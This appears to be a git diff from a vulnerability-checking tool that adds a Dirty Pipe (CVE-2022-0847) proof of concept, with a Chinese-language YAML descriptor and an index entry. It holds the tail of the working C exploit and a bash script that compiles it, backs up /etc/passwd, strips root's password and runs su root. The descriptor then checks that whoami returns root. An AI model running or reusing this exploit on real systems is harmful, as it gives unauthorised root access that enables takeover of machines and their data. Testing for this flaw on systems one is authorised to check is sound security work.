/* splice one byte from before the specified offset into the
|
||||
pipe; this will add a reference to the page cache, but
|
||||
since copy_page_to_iter_pipe() does not initialize the
|
||||
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
|
||||
--offset;
|
||||
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
|
||||
if (nbytes < 0) {
|
||||
perror("splice failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (nbytes == 0) {
|
||||
fprintf(stderr, "short splice\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* the following write will not create a new pipe_buffer, but
|
||||
will instead write into the page cache, because of the
|
||||
PIPE_BUF_FLAG_CAN_MERGE flag */
|
||||
nbytes = write(p[1], data, data_size);
|
||||
if (nbytes < 0) {
|
||||
perror("write failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if ((size_t)nbytes < data_size) {
|
||||
fprintf(stderr, "short write\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
printf("It worked!\n");
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
EOF
|
||||
|
||||
gcc exp.c -o exp -std=c99
|
||||
|
||||
# 备份密码文件
|
||||
rm -f /tmp/passwd
|
||||
cp /etc/passwd /tmp/passwd
|
||||
if [ -f "/tmp/passwd" ];then
|
||||
echo "/etc/passwd已备份到/tmp/passwd"
|
||||
passwd_tmp=$(cat /etc/passwd|head)
|
||||
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
|
||||
|
||||
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
|
||||
|
||||
# 现在可以无需密码切换到root账号
|
||||
su root
|
||||
else
|
||||
echo "/etc/passwd未备份到/tmp/passwd"
|
||||
exit 1
|
||||
fi
|
|
@ -0,0 +1,75 @@
|
|||
FormatVer: 20220307
|
||||
Id: CVE-2022-0847
|
||||
Belong: system
|
||||
PocHazardLevel: high
|
||||
Source: https://github.com/r1is/CVE-2022-0847
|
||||
SiteInfo:
|
||||
Name: CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。
|
||||
Severity: high
|
||||
Description:
|
||||
Linux内核 5.8 及之后版本中的本地提权漏洞,攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”
|
||||
ScopeOfInfluence:
|
||||
5.15<= kernel(linux)< 5.15.25
|
||||
5.16<= kernel(linux)< 5.16.11
|
||||
5.8<= kernel(linux)< 5.10.102
|
||||
kernel(alibaba_cloud_linux_2.1903)<4.19.91-25.7.al7
|
||||
kernel(amazon_2)<5.10.102-99.473.amzn2
|
||||
linux(amazon_2022)<5.15.25-14.106.amzn2022
|
||||
linux(centos_8)<4.18.0-348.20.1.el8_5
|
||||
linux(debian_11)<5.10.92-2
|
||||
linux(opensuse_Leap_15.3)<4.12.14-197.108.1
|
||||
linux(opensuse_Leap_15.4)<4.12.14-197.108.1
|
||||
linux(oracle_7)<4.14.35-2047.511.5.6.el7
|
||||
linux(oracle_8)<4.18.0-348.20.1.el8_5
|
||||
linux(redhat_8)<4.18.0-348.20.1.el8_5
|
||||
linux(suse_12_SP5)<4.12.14-16.91.1
|
||||
linux(ubuntu_18.04)<4.13.0-16.19
|
||||
linux(ubuntu_20.04)<5.14.0-1027.30
|
||||
linux(ubuntu_21.10)<5.13.0-35.40
|
||||
References:
|
||||
- http://packetstormsecurity.com/files/166229/Dirty-Pipe-Linux-Privilege-Escala...
|
||||
- http://packetstormsecurity.com/files/166230/Dirty-Pipe-SUID-Binary-Hijack-Pri...
|
||||
- http://packetstormsecurity.com/files/166258/Dirty-Pipe-Local-Privilege-Escala...
|
||||
- https://bugzilla.redhat.com/show_bug.cgi?id=2060795
|
||||
- https://cert-portal.siemens.com/productcert/pdf/ssa-222547.pdf
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c
|
||||
- https://help.aliyun.com/document_detail/414641.html
|
||||
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0015
|
||||
- https://security.netapp.com/advisory/ntap-20220325-0005/
|
||||
- https://www.suse.com/support/kb/doc/?id=000020603
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.4
|
||||
CveId: CVE-2022-0847
|
||||
CweId: CWE-665
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 初始化不恰当
|
||||
- 特权提升
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : bash
|
||||
InterArgs :
|
||||
Exec : CVE-2022-0847.sh
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ".:It worked!\n"
|
||||
- "<<:whoami\n"
|
||||
- ".:\n"
|
||||
- "?:root"
|
||||
Condition: None
|
|
@ -13,4 +13,5 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2021-3156/CVE-2021-3156.yaml
|
||||
- ConfigFile: CVE-2022-0351/CVE-2022-0351.yaml
|
||||
- ConfigFile: CVE-2023-22809/CVE-2023-22809.yaml
|
||||
- ConfigFile: CVE-2022-0543/CVE-2022-0543.yaml
|
||||
- ConfigFile: CVE-2022-0543/CVE-2022-0543.yaml
|
||||
- ConfigFile: CVE-2022-0847/CVE-2022-0847.yaml
|
Loading…
Reference in New Issue